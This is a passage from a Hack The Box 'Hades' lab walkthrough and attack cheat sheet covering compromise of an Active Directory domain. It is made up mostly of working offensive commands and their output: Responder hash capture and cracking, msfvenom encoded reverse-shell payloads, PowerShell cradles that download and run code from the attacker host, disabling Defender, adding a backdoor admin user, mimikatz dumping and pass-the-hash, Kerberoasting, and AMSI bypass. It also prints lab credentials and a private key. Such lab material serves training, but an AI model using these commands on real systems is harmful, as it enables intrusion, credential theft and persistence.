PS > Get-ADIDNSNodeAttribute -Node db3 -Attribute dnsRecord -Credential $Cred -Verbose
PS > Resolve-DNSName db3
PS > cmd /c ping -n 1 db3

adidns-abuse.png

web-displaydns.png

Now according to the “Secure only” Dynamic updates default setting you are the rightful owner of that DNS object and you may want to fire Responder on Kali to harvest some hashes:

adidns-responder.png

Refs

Cracking Net-NTLMv2 response

I will Alt-Tab to my host machine and crack the captured Net-NTLMv2 response with hashcat:

Cmd > ./hashcat64.exe -m 5600 -a 0 -r rules/d3ad0ne.rule hashes/htb seclists/Passwords/darkc0de.txt
ADMINISTRATOR:::1122334455667788:d5b1e9b04d6da4023702434589fcb71a:0101000000000000c0653150de09d201280c6d481d556fe8000000000200080053004d004200330001001e00570049004e002d00
500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d
00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d201060004000200000008003000300000000000000000000000003000002b00c2c0
b2a8cbd1bb3165bcb3cafe21d6535246b8acd398d499094336db396a0a001000000000000000000000000000000000000900240063006900660073002f006400620032002e006800740062002e006c006f00630061
006c00000000000000000000000000:Myp@ssw0rd

WED:Administrator:Myp@ssw0rd :smiling_imp:

And now I’m ready to Evil-WinRM the box and get the sixth flag:

root@kali:$ proxychains4 -q evil-winrm.rb -u 'administrator' -p 'Myp@ssw0rd' -i 192.168.3.202 -s `pwd` -e `pwd`
*Evil-WinRM* PS > gc ..\desktop\flag.txt
HADES{Why_llmnr_*******************}

The flag implies that there is no LLMNR/NBNS dancing going on in the intranet, that’s why DNS resolution did not fallback to it and we were not able to capture admin’s creds right away.

Misc

adidnsdump

Another cool tool that can help you to enumerate AD DNS entries is Dirk-jan’s adidnsdump:

root@kali:$ proxychains4 -q adidnsdump -u 'HTB\remote_user' -p 'FZg28$dJe*Hx7c' -v --dns-tcp dc1.htb.local --print-zones
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
DC=htb.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=htb,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,DC=DomainDnsZones,DC=htb,DC=local
[-] Found 2 domain DNS zones:
    htb.local
    RootDNSServers
DC=_msdcs.htb.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=htb,DC=local
[-] Found 1 forest DNS zones:
    _msdcs.htb.local
DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=htb,DC=local
[-] Found 1 legacy DNS zones:
    RootDNSServers

root@kali:$ proxychains4 -q adidnsdump -u 'HTB\remote_user' -p 'FZg28$dJe*Hx7c' -v --dns-tcp dc1.htb.local -r
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[!] The DNS query name does not exist: wpad.htb.local.
[-] Could not resolve node wpad (probably no A record assigned to name)
[+] Found record web
[+] Found record MS01
[+] Found record ForestDnsZones
[+] Found record DomainDnsZones
[+] Found record dev
[+] Found record dc1
[+] Found record _msdcs
[+] Found record _ldap._tcp.ForestDnsZones
[+] Found record _ldap._tcp.DomainDnsZones
[+] Found record _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones
[+] Found record _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones
[+] Found record _ldap._tcp.Default-First-Site-Name._sites
[+] Found record _ldap._tcp
[+] Found record _kpasswd._udp
[+] Found record _kpasswd._tcp
[+] Found record _kerberos._udp
[+] Found record _kerberos._tcp.Default-First-Site-Name._sites
[+] Found record _kerberos._tcp
[+] Found record _gc._tcp.Default-First-Site-Name._sites
[+] Found record _gc._tcp
[+] Found record @
[!] The DNS query name does not exist: *.htb.local.
[-] Could not resolve node * (probably no A record assigned to name)
[+] Found 11 records

docker-machine

Some docker-machine related stuff found but the 192.168.99.100:22 docker default virtual machine’s port was not reachable anyways from other hosts in the intranet (VM’s local SSH port was not exposed, I guess):

*Evil-WinRM* PS C:\Users\Administrator\.docker\machine\machines\default> ls


    Directory: C:\Users\Administrator\.docker\machine\machines\default


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----          7/9/2020   7:44 AM            default
-a---          9/4/2019   2:50 AM   58720256 boot2docker.iso
-a---          7/9/2020   7:47 AM       1054 ca.pem
-a---          7/9/2020   7:47 AM       1094 cert.pem
-a---          7/9/2020   7:48 AM       3002 config.json
-a---          7/9/2020   7:46 AM 6189219840 disk.vmdk
-a---          9/4/2019   2:50 AM       1679 id_rsa
-a---          9/4/2019   2:50 AM        381 id_rsa.pub
-a---          7/9/2020   7:47 AM       1679 key.pem
-a---          7/9/2020   7:47 AM       1675 server-key.pem
-a---          7/9/2020   7:47 AM       1127 server.pem


*Evil-WinRM* PS C:\Users\Administrator\.docker\machine\machines\default> gc id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwiHc7jhJb9yi1zaH7cUUjRUqrLM6n1o2ZKDRpyfVJ5seS/oz
dMJ0/uAgEuqboxZIixXoYmVMPon0Wrx+nmecCzUUCp3pI7Wihu18JozrEL6xSiUX
1LNE36+n5N5KjZ6oUUATZyxYh8IPexisSKYIJPKa98JKxZkrnTaRgDXlpXRHP+Ax
cY+WT/LR2XktCyOgFSQll/JIKLzbfbRGkcJgQRI03xy6KuvHJbQXK1eYBpf8nbzK
jEt6luwj0GqQ9BHCPrVm8NTCA2QxHZqxs/KmeHq5jVYd6CPzM9+r1VBcXLjWA0rc
/WYDeLmAECCaSTFnC0nNvvK5NoMa0h6Kad3kDwIDAQABAoIBAHclz3IJ69CTCwKp
fk3JWq6oYhOywPUSqjWimmpMQT/YrYSWIES2IJZZunXBthonUAjFPmY9o8jyZJ3X
+KKCFryuLAnEF1YKYaEMWtlSPed+ElPeZjzudgQPzCzk3b8DtGyBtibpicBws42q
e/rupCsBF2mevsN+Gc2Ysz6MVdDwdW14Yvp/6Vq7u3KMrEj+LyN9cyzrurDhTByb
UI/XWklSUPIBN6cuqSULW4GkK1GOQMjnkDd5prizxA4+lHT1YY956joHKEBcp/bq
j4iGLe0eKiOtQ5HFjAROowaiFmyeYnHPztFGMmC0Q+EBQl8ZM9q0Cpo4AZGAros8
d2+kupkCgYEAzunLL3tRp4a+c8ViLcDkhcV9JVJw4TIPDMmemB9gw70xgJCZyMwB
6KrEiT/qk/KfL58JxT7DCAG3eM2mlL0dmrfEwzcPugPtsAXZg65tFn+PO7UgupS8
z6LZbXj07a3ygkty0v60UInAdbdTq08ZyOMGlJOEiMSZ0TJJPB+GcpUCgYEA8C/b
opI7CA4rgCVcxCCqA1s9BxEC9FWx5LzvXa+6u6CCBIeGGHCjASMLgPsG/9QJYnBs
tguXUFiJOoFR6NTOukzXdqInpCxqhI7MsLkHRlbfUIr93MRVitnPrA7RSKTUBEZl
D120HQL0DAM9zkr4CZDDJE4bV/plktef4LY4FxMCgYEAlDbynfuHHSqvCDzuu/l9
eLljkLWCOD3ke/N80FlBtlSyvfZWwngoMeMJT4tiXEIidzlEBW+Uwwp/w2AEoGzr
ZOWYY4HwmP2xaDJ4ghQS/le3YTy4yg47RbzQZNONFyhQG7cx9CQRQ9O48lm07HSH
8td04j7dZB74U9rijNfENhUCgYEAhfabcQRQioCkwJeWMwno6XBVDIDvfeniC6tZ
co6V/xpaCj6wiycfs32hZ/IbCEtyZIZCDBNQ9Q48k/YXAl7XYs+DCXcN1yKy0nZ3
MkYxCYlgiqLLTvvunkA39UZackMEwdGlgjmIQPopth2Etm/YAjXMsY4i8CIHzywW
zxWzGSMCgYAjaZia7gj/+xSQhcH/Rq0J4qErbDHD/m15ki+/IqLYfvwYIsd/wYdN
DcJLPzy3n5fU3JtfJsEJapvTY8vygqABHz5EeCQf+yrNDv5/Q4lAhXhOB87AcXfL
0GwZ3NA+Jc/F/Fe2qLYNSCuNC/y1c3qIt5QBNvPYXW3H9+cVNgPwNA==
-----END RSA PRIVATE KEY-----
*Evil-WinRM* PS C:\Users\Administrator\.docker\machine\machines\default> gc config.json
{
    "ConfigVersion": 3,
    "Driver": {
        "IPAddress": "192.168.99.100",
        "MachineName": "default",
        "SSHUser": "docker",
        "SSHPort": 60335,
        "SSHKeyPath": "C:\\Users\\Administrator\\.docker\\machine\\machines\\default\\id_rsa",
        "StorePath": "C:\\Users\\Administrator\\.docker\\machine",
        "SwarmMaster": false,
        "SwarmHost": "tcp://0.0.0.0:3376",
        "SwarmDiscovery": "",
        "VBoxManager": {},
        "HostInterfaces": {},
        "CPU": 1,
        "Memory": 1024,
        "DiskSize": 20000,
        "NatNicType": "82540EM",
        "Boot2DockerURL": "",
        "Boot2DockerImportVM": "",
        "HostDNSResolver": false,
        "HostOnlyCIDR": "192.168.99.1/24",
        "HostOnlyNicType": "82540EM",
        "HostOnlyPromiscMode": "deny",
        "UIType": "headless",
        "HostOnlyNoDHCP": false,
        "NoShare": false,
        "DNSProxy": true,
        "NoVTXCheck": true,
        "ShareFolder": ""
    },
    "DriverName": "virtualbox",
    "HostOptions": {
        "Driver": "",
        "Memory": 0,
        "Disk": 0,
        "EngineOptions": {
            "ArbitraryFlags": [],
            "Dns": null,
            "GraphDir": "",
            "Env": [],
            "Ipv6": false,
            "InsecureRegistry": [],
            "Labels": [],
            "LogLevel": "",
            "StorageDriver": "",
            "SelinuxEnabled": false,
            "TlsVerify": true,
            "RegistryMirror": [],
            "InstallURL": "https://get.docker.com"
        },
        "SwarmOptions": {
            "IsSwarm": false,
            "Address": "",
            "Discovery": "",
            "Agent": false,
            "Master": false,
            "Host": "tcp://0.0.0.0:3376",
            "Image": "swarm:latest",
            "Strategy": "spread",
            "Heartbeat": 0,
            "Overcommit": 0,
            "ArbitraryFlags": [],
            "ArbitraryJoinFlags": [],
            "Env": null,
            "IsExperimental": false
        },
        "AuthOptions": {
            "CertDir": "C:\\Users\\Administrator\\.docker\\machine\\certs",
            "CaCertPath": "C:\\Users\\Administrator\\.docker\\machine\\certs\\ca.pem",
            "CaPrivateKeyPath": "C:\\Users\\Administrator\\.docker\\machine\\certs\\ca-key.pem",
            "CaCertRemotePath": "",
            "ServerCertPath": "C:\\Users\\Administrator\\.docker\\machine\\machines\\default\\server.pem",
            "ServerKeyPath": "C:\\Users\\Administrator\\.docker\\machine\\machines\\default\\server-key.pem",
            "ClientKeyPath": "C:\\Users\\Administrator\\.docker\\machine\\certs\\key.pem",
            "ServerCertRemotePath": "",
            "ServerKeyRemotePath": "",
            "ClientCertPath": "C:\\Users\\Administrator\\.docker\\machine\\certs\\cert.pem",
            "ServerCertSANs": [],
            "StorePath": "C:\\Users\\Administrator\\.docker\\machine\\machines\\default"
        }
    },
    "Name": "default"
}

7. Dominion

Password Reuse

Domain admin has same exact password as local admin (on WEB machine) does. We can verify it with a single CME run:

dc1-crackmapexec.png

STATUS_ACCOUNT_RESTRICTION is raised because domain admin is a member of Protected Users security group, which means we can successfully authenticate only with Kerberos:

bloodhound-protected-users.png

So, if we fire up psexec.py with -k flag, we shall get our SYSTEM shell on DC1:

root@kali:$ proxychains4 -q psexec.py 'htb.local/administrator:Myp@ssw0rd@dc1.htb.local' -k

dc1-psexec-py.png

I will initiate RDP connection, get TGT with runas /netonly and play around on the domain controller within a powershell session:

root@kali:$ msfvenom -p windows/x64/meterpreter/reverse_tcp -b '\x00' -n 100 -e x64/xor_dynamic -i 10 LHOST=10.14.14.37 LPORT=9003 -f exe --platform windows -a x64 --smallest > web.exe
root@kali:$ proxychains4 -q evil-winrm.rb -u 'administrator' -p 'Myp@ssw0rd' -i 192.168.3.202 -s `pwd` -e `pwd`
PS > (new-object net.webclient).downloadfile("http://10.14.14.37/web.exe", "c:\users\remote_user.HTB\music\web.exe");Start-Process -FilePath c:\users\remote_user.HTB\music\web.exe
meterpreter > getuid
Server username: WEB\Administrator
meterpreter > getsystem
meterpreter > migrate -N winlogon
meterpreter > run post/windows/manage/enable_rdp
root@kali:$ xfreerdp /u:'administrator' /p:'Myp@ssw0rd' /v:10.13.38.16:3389

web-rdp-final-flag.png

PS > $Cred = New-Object Management.Automation.PSCredential("htb.local\Administrator", $(ConvertTo-SecureString "Myp@ssw0rd" -AsPlainText -Force))
PS > $Sess = New-PSSession -Credential $Cred -ComputerName DC1
PS > Enter-PSSession -Session $Sess

web-rdp-enter-pssession.png

From here I can grab the seventh and the last flag HADES{Tam1ng_Kerber0s_**************************} and the network is now completely owned!

owned.png

Misc

docker-machine

While being on the box via RDP I decided to play with Docker a bit. Using docker-machine ssh [default] I can log into the default VirtualBox docker machine:

web-rdp-docker-machine-ssh.png

If I wanted to expose that ssh port to be reachable from outside the localhost, I would add a new forwarding rule with VboxManage:

Cmd > docker-machine stop [default]
Cmd > "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "default" --natpf1 "myssh,tcp,,22,,22"
Cmd > docker-machine start [default]

web-rdp-docker-machine-vboxmanage.png

web-rdp-docker-machine-networking.png

Now I can simply ssh to 10.13.38.16:22 from Kali with default docker creds docker:tcuser:

kali-docker-machine-ssh.png

Unfortunatelly, I found no extra flags here.

That’s how the pivot-point-docker-container was actually launching, btw:

web-rdp-docker-pivot-launch.png

Refs

Enumerate RD Sessions

After obtainig admin creds on WEB host I can enum Remote Desktop Sessions with qwinsta (query session) command.

Run a remote command with MSF psexec_command module:

msf5 > spool /root/htb/endgames/hades/log/msf.log
msf5 > use auxiliary/admin/smb/psexec_command
msf5 auxiliary(admin/smb/psexec_command) > set rhosts 192.168.3.202
msf5 auxiliary(admin/smb/psexec_command) > set smbuser Administrator
msf5 auxiliary(admin/smb/psexec_command) > set smbpass Myp@ssw0rd
msf5 auxiliary(admin/smb/psexec_command) > set command qwinsta
msf5 auxiliary(admin/smb/psexec_command) > run

msf-psexec-command-qwinsta.png

Jump straigh onto the WEB box with MSF psexec module and use MSF incognito extension to list tokens (and impersonate one)::

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.3.202
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
msf5 exploit(windows/smb/psexec) > set smbpass Myp@ssw0rd
msf5 exploit(windows/smb/psexec) > set lhost tun0
msf5 exploit(windows/smb/psexec) > set lport 9004
msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_winhttps
msf5 exploit(windows/smb/psexec) > exploit

msf-psexec-meterpreter.png

Another way to enumerate active RDS sessions is to do it remotely using quser (query user) command from a controlled domain-joined machine (local admin rights are also required on the remote hosts that are being queried):

Cmd > quser /server:<IP>

Refs

Unsorted

Play with ssltools/certificate.php CMDi:

1. process SSL request with https-server.py as a listener

cmdi-https-server-py.png

2. process SSL request with ncat as a listener

cmdi-ncat-ssl.png

3. process SSL request through mitmproxy:

$ sudo ./mitmdump --listen-host 10.14.14.3 -p 443 --mode reverse:https://10.13.38.16 --ssl-insecure --set flow_detail=3
Proxy server listening at http://10.14.14.3:443
10.13.38.16:50535: clientconnect
10.13.38.16:50535: Certificate verification error for 10.13.38.16: self signed certificate (errno: 18, depth: 0)
10.13.38.16:50535: Ignoring server verification error, continuing with connection
10.13.38.16:50535: GET https://10.13.38.16/
    Host: 10.13.38.16
    User-Agent: curl/7.58.0
    Accept: */*

 << 200 OK 14.34k
    Date: Fri, 15 Jan 2021 22:27:28 GMT
    Server: Apache/2.4.29 (Ubuntu)
    X-Frame-Options: DENY
    X-Content-Type-Options: nosniff
    Last-Modified: Thu, 05 Sep 2019 15:58:47 GMT
    ETag: "3960-591d0659f7d83"
    Accept-Ranges: bytes
    Content-Length: 14688
    Vary: Accept-Encoding
    Content-Type: text/html

    <!--
    Author: W3layouts
    Author URL: http://w3layouts.com
    License: Creative Commons Attribution 3.0 Unported
    License URL: http://creativecommons.org/licenses/by/3.0/
    -->
    <!DOCTYPE HTML>
    <html>
    <head>
      <title>Gigantic Hosting | Home</title>
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="keywords" content="Digital_Host Responsive web template, Bootstrap Web Templates, Flat Web Templates, Andriod Compatible web template,
      Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyErricsson, Motorola web design" />
      <script type="application/x-javascript">addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); }</script>
      <link href="css/bootstrap.css" rel='stylesheet' type='text/css' />
      <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
      <script src="js/jquery.min.js"></script>
      <!-- Custom Theme files -->
      <link href="css/style.css" rel='stylesheet' type='text/css' />
      <!-- Custom Theme files -->
      <!-- webfonts -->
      <link href='http://fonts.googleapis.com/css?family=Slabo+27px' rel='stylesheet' type='text/css'>
      <!-- webfonts -->
      <!----font-Awesome----->
      <link rel="stylesheet" href="fonts/css/font-awesome.min.css">
      <!----font-Awesome----->
    </head>
    <body>
      <!-- header -->
      <div class="header">
        <!-- container -->
        <!-- top-nav -->
        <div class="container">
          <div class="logo">
            <a href="index.html">
              <img src="images/logo.png" alt=""/>
            </a>
          </div>
          <div class="header_bottom_right">
            <div class="h_menu4">
              <!-- start h_menu4 -->
              <a class="toggleMenu" href="#">Menu</a>
              <ul class="nav">
                <li class="active">
                  <a href="index.html">Home</a>
                </li>
                <li>
                  <a href="services.html">Services</a>
                  <ul>
                    <li>
                      <a href="services.html">Dedicated Servers</a>
                    </li>
                    <li>
                      <a href="services.html">VPS Servers</a>
                    </li>
                    <li>
                      <a href="services.html">Shared Hosting</a>
                    </li>
                    <li>
                      <a href="services.html">SSL Certificates</a>
                    </li>
                  </ul>
                </li>
                <li>
                  <a href="clients.html">Our Clients</a>
                </li>
                <li>
                  <a href="ssltools/certificate.php">SSL Tools</a>
                </li>
    (cut off)

10.13.38.16:50535: clientdisconnect

Dump LDAP with ldapsearch (Simple Authentication):

root@kali:$ proxychains4 -q ldapsearch -H ldap://192.168.3.203:389/ -x -D 'CN=bob,CN=Users,DC=htb,DC=local' -w 'Passw0rd1!' -s sub -b 'DC=htb,DC=local' |tee ldap.out
root@kali:$ cat ldap.out |grep -i memberof
memberOf: CN=Guests,CN=Builtin,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Users,CN=Builtin,DC=htb,DC=local
memberOf: CN=Guests,CN=Builtin,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Administrators,CN=Builtin,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Administrators,CN=Builtin,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=htb,DC=local
memberOf: CN=Protected Users,CN=Users,DC=htb,DC=local
memberOf: CN=Group Policy Creator Owners,CN=Users,DC=htb,DC=local
memberOf: CN=Enterprise Admins,CN=Users,DC=htb,DC=local
memberOf: CN=Schema Admins,CN=Users,DC=htb,DC=local
memberOf: CN=Domain Admins,CN=Users,DC=htb,DC=local
memberOf: CN=Administrators,CN=Builtin,DC=htb,DC=local
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=htb,DC=local
memberOf: CN=Users,CN=Builtin,DC=htb,DC=local
memberOf: CN=Dev,OU=Groups,DC=htb,DC=local
memberOf: CN=Operations,OU=Groups,DC=htb,DC=local

Dump LDAP PCs with windapsearch.py:

root@kali:$ proxychains4 -q ./windapsearch.py -u 'HTB\bob' -p 'Passw0rd1!' --dc 192.168.3.203 -C
[+] Using Domain Controller at: 192.168.3.203
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=htb,DC=local
[+] Attempting bind
[+]     ...success! Binded as:
[+]      u:HTB\bob
[+] Enumerating all AD computers
[+]     Found 4 computers:

cn: DC1
operatingSystem: Windows Server 2019 Standard
operatingSystemVersion: 10.0 (17763)
dNSHostName: dc1.htb.local

cn: DEV
operatingSystem: Windows Server 2019 Standard
operatingSystemVersion: 10.0 (17763)
dNSHostName: dev.htb.local

cn: WEB
operatingSystem: Windows Server 2012 R2 Standard
operatingSystemVersion: 6.3 (9600)
dNSHostName: web.htb.local

cn: evilsystem
dNSHostName: evilsystem.htb.local

[*] Bye!

Dump RPC:

root@kali:$ proxychains4 -q rpcclient -U 'bob%Passw0rd1!' 192.168.3.203
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[iis-svc] rid:[0x451]
user:[test-svc] rid:[0x452]
user:[bob] rid:[0x453]
user:[lee] rid:[0x454]
user:[kalle] rid:[0x455]
user:[remote_user] rid:[0x2969]

root@kali:$ proxychains4 -q lookupsid.py 'htb.local/bob:Passw0rd1!@192.168.3.203'
Impacket v0.9.22.dev1+20200611.111621.760cb1ea - Copyright 2020 SecureAuth Corporation
[*] Brute forcing SIDs at 192.168.3.203
[*] StringBinding ncacn_np:192.168.3.203[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4266912945-3985045794-2943778634
498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HTB\Administrator (SidTypeUser)
501: HTB\Guest (SidTypeUser)
502: HTB\krbtgt (SidTypeUser)
512: HTB\Domain Admins (SidTypeGroup)
513: HTB\Domain Users (SidTypeGroup)
514: HTB\Domain Guests (SidTypeGroup)
515: HTB\Domain Computers (SidTypeGroup)
516: HTB\Domain Controllers (SidTypeGroup)
517: HTB\Cert Publishers (SidTypeAlias)
518: HTB\Schema Admins (SidTypeGroup)
519: HTB\Enterprise Admins (SidTypeGroup)
520: HTB\Group Policy Creator Owners (SidTypeGroup)
521: HTB\Read-only Domain Controllers (SidTypeGroup)
522: HTB\Cloneable Domain Controllers (SidTypeGroup)
525: HTB\Protected Users (SidTypeGroup)
526: HTB\Key Admins (SidTypeGroup)
527: HTB\Enterprise Key Admins (SidTypeGroup)
553: HTB\RAS and IAS Servers (SidTypeAlias)
571: HTB\Allowed RODC Password Replication Group (SidTypeAlias)
572: HTB\Denied RODC Password Replication Group (SidTypeAlias)
1101: HTB\DnsAdmins (SidTypeAlias)
1102: HTB\DnsUpdateProxy (SidTypeGroup)
1103: HTB\Dev (SidTypeGroup)
1104: HTB\Operations (SidTypeGroup)
1105: HTB\iis-svc (SidTypeUser)
1106: HTB\test-svc (SidTypeUser)
1107: HTB\bob (SidTypeUser)
1108: HTB\lee (SidTypeUser)
1109: HTB\kalle (SidTypeUser)
1110: HTB\WEB$ (SidTypeUser)
1601: HTB\DEV$ (SidTypeUser)
2101: HTB\DC1$ (SidTypeUser)

root@kali:$ proxychains4 -q rpcdump.py htb.local\bob:'Passw0rd1!'@192.168.3.201 |tee log/rpcdump-192.168.3.201.log
root@kali:$ cat log/rpcdump-192.168.3.201.log |grep -i ms-rprn -A2
Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe
UUID    : 12345678-1234-ABCD-EF00-0123456789AB v1.0

Generate payload for DEV machine, pass-the-hash into WinRM as admin, disable Defender and trigger the stager:

root@kali:$ msfvenom -p windows/x64/meterpreter/reverse_tcp -b '\x00' -n 100 -e x64/xor_dynamic -i 10 LHOST=10.14.14.37 LPORT=9002 -f exe --platform windows -a x64 --smallest > dev.exe
root@kali:$ proxychains4 -q evil-winrm.rb -u 'administrator' -H '67bb396c79f56301b7dc5d219cc85d86' -i 192.168.3.201 -s `pwd` -e `pwd`
*Evil-WinRM* PS > Set-MpPreference -DisableRealTimeMonitoring $true
*Evil-WinRM* PS > curl 10.14.14.37/dev.exe -o c:\users\administrator\music\dev.exe; Start-Process -FilePath c:\users\administrator\music\dev.exe

Create user, add him to local admins, enable RDP, disable NLA and connect directly:

meterpreter > run getgui -e
Cmd > net user ev1lh4cker "Bv2bke@NnM!5D" /add
Cmd > net localgroup administrators ev1lh4cker /add
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "dev" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "dev" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
root@kali:$ xfreerdp /u:'ev1lh4cker' /p:'Bv2bke@NnM!5D' /v:10.13.38.17:3389

Or forward local port and pivot:

meterpreter > portfwd add -l 43389 -p 3389 -r 192.168.3.201
root@kali:$ xfreerdp /u:administrator /pth:67bb396c79f56301b7dc5d219cc85d86 /v:127.0.0.1:43389

Try to enable WinRM on the 10.13.38.17 interface (failed):

PS > Enable-PSRemoting -Force -SkipNetworkProfileCheck
PS > winrm enumerate winrm/config/listener
Listener
    Address = *
    Transport = HTTP
    Port = 5985
    Hostname
    Enabled = true
    URLPrefix = wsman
    CertificateThumbprint
    ListeningOn = 10.13.38.17, 127.0.0.1, 192.168.3.201, ::1, fe80::e884:d3e8:b08b:7b08%4

Quick (and dirty) hack for [Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest (Exception calling "FindAll" with "0" argument(s): "The specified domain either does not exist or could not be contacted.") when running PowerView as a non-domain user – issue with LDAP auth when using the -Cred flag with bob:Passw0rd1! creds (sometimes migrating to another process migth help as well):

root@kali:$ curl -L https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1 > pv.ps1
PS > $User = 'htb.local\bob';$Pass = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force;$Cred = New-Object System.Management.Automation.PSCredential($User, $Pass)
PS > Get-Forest -Forest htb.local -Credential $Cred
root@kali:$ sed -i 's/$SchemaPath = (Get-Forest @ForestArguments).schema.name/$SchemaPath = "CN=Schema,CN=Configuration,DC=htb,DC=local"/g' pv.ps1
PS > Get-DomainObjectAcl -ResolveGUIDs -Identity foobar -Domain htb.local -Server dc1.htb.local -Credential $Cred | ? {$_.ObjectAceType -eq 'User-Change-Password'}

(Also, it’s a good idea to always provide the -Cred switch for PowerView under evil-winrm connection even when authenticated as a domain user – remember about the double-hop issue.)

Give Kerberoasting a chance:

root@kali:$ curl -L https://github.com/EmpireProject/Empire/raw/master/data/module_source/credentials/Invoke-Kerberoast.ps1 > ik.ps1
PS > $User = 'htb.local\bob';$Pass = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force;$Cred = New-Object System.Management.Automation.PSCredential($User, $Pass)
PS > iex(new-object net.webclient).downloadstring("http://10.14.14.37/ik.ps1")
PS > Invoke-Kerberoast -Domain htb.local -Server dc1.htb.local -Credential $Cred -OutputFormat Hashcat |Out-File tgs-rep.hash

Extract machine account password hash with mimikatz:

mimikatz # sekurlsa::logonPasswords

Extract SAM hashes with mimikatz:

mimikatz # lsadump::sam // below if privilege error
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam

PtH with mimikatz from non-interactive shell:

PS > cmd  /c .\mimi.exe "cd c:\users\administrator\music" "sekurlsa::pth /user:test-svc /domain:htb.local /run:dev.exe /ntlm:f57c975264501a6649cd4e00d3f80f13" "exit"
Or
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > iex(new-object net.webclient).downloadstring("http://127.0.0.1/Invoke-Mimikatz.ps1")
*Evil-WinRM* PS > Invoke-Mimikatz -Command '"cd c:\users\administrator\music" "sekurlsa::pth /user:test-svc /domain:htb.local /run:dev.exe /ntlm:f57c975264501a6649cd4e00d3f80f13" "exit"'

Run PS command remotely with Invoke-Command:

PS > $Cred = New-Object Management.Automation.PSCredential("htb.local\Administrator", $(ConvertTo-SecureString "Myp@ssw0rd" -AsPlainText -Force));Invoke-Command -Credential $Cred -ComputerName DC1.htb.local -ScriptBlock { type C:\Users\Administrator.HTB\Desktop\flag.txt }